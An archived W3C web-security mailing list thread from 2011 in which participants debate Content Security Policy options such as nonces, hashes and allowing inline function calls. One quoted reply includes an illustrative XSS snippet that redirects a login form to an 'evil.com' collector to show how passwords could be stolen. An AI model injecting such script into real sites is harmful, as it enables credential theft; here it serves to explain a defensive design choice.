W3C home > Mailing lists > Public > public-web-security@w3.org > February 2011

Re: CSP : inline functions ?

From: <sird@rckc.at>
Date: Thu, 24 Feb 2011 17:38:58 -0800
Message-ID: <AANLkTimzoGAzurL+ez4_Aa5G9AvUwYi5Bn765U93FkBf@mail.gmail.com>
To: Daniel Veditz <dveditz@mozilla.com>
Cc: Devdatta Akhawe <dev.akhawe@gmail.com>, public-web-security@w3.org
> - "script-keys" (nonce)
Is that really being considered? At what level? <script key="XXXX"> or
<anything key="XXXX">?

Sounds like a terribly bad idea imho :), and take it from someone that
implemented that once (not browser level, but still..). The fact that
it has to be random (like, truly random), and that there are so many
ways to get it wrong, that I sincerely think it's a bad idea.

In my humble opinion, hashes are a better way to solve this problem..
the only use case hashes wont solve are if the developer is generating
scripts dynamically, and doing proper escaping on that (with no XSS)..
but even then! they can still solve that problem without browser's

<script src="/unsandbox.js" key="XXXX">
((code here))

and unsandbox.js can just check if the code is allowed (by checking
the key), and if it is, eval it. To check the key, they can hash it,
or check it against a cookie, or whatever.. This will even work on old


-- Eduardo

On Thu, Feb 24, 2011 at 11:22 AM, Daniel Veditz <dveditz@mozilla.com> wrote:
> On 2/23/11 7:52 PM, Devdatta Akhawe wrote:
>> CSP currently blocks all inline scripts and we have seen a lot of
>> discussion about it.
>> Have we considered only allowing inline functions calls as a option --
>> a middle ground between inline-scripts being enabled and disabled. I.E
>> <script> function(arg1,arg2,arg3) </script>
> You mean harmless function calls like:
> <script>
>  document.getElementsByName("login_form")[0].
>    setAttribute("action","https://evil.com/collector");
> </script>
> If you could inject that on Yahoo's login page you could steal
> people's passwords when they try to sign in, as an example.
>> will be allowed inline, no other inline script execution will be
>> allowed. You still won't be able to do <script> .. javascript ...
>> </script>.
> So far the only credible middle-ground proposals to soften CSP's
> current allow/dis-allow binary switch have been
>  - "script-keys" (nonce)
>  - allow inline script in the document <head> only
>> The CSP spec at Mozilla
>> (https://wiki.mozilla.org/Security/CSP/Specification) already makes a
>> distinction between arbitrary code being eval'ed and function calls.
>> For example, setTimeout is allowed with function names as arguments
>> but not with strings. It seems this is similar.
> Not very similar. Assuming the default inline script blocking both
> the setTimeout() call and the function it's calling are in external
> code files loaded from a domain the site has declared trusted. We
> can't tell with eval() where the code came from: maybe it's safe
> static code, maybe it's from generated content. Safe uses of eval()
> can generally be re-written without eval (see
> https://adblockplus.org/blog/five-wrong-reasons-to-use-eval-in-an-extension);
> eval that uses page content is pretty equivalent to inline script.
> CSP currently doesn't block a couple of other eval-ish things:
> document.write() and setting innerHTML. Both can lead to XSS, but
> hopefully that's greatly mitigated if you've blocked inline scripts.
>> I feel like this simple change will make retrofitting legacy
>> applications with CSP much easier.
> Can you point to an example site that has inline <script> that only
> consists of function calls? As shown above I don't believe this is
> any safer than full inline scripts, but I'm also having a hard time
> imagining that this helps legacy sites.
> -Dan Veditz
Received on Friday, 25 February 2011 01:39:51 UTC

This archive was generated by hypermail 2.3.1 : Tuesday, 6 January 2015 20:26:18 UTC